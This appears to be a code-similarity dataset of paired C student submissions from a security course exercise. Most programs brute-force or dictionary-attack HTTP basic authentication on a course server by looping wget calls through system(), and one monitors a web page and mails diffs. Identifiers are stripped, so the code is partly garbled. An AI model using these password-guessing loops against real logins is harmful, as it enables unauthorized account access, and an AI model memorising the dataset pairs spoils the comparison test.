'\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
014.c
030.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
014.c
044.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
014.c
051.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
014.c
066.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
014.c
026.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0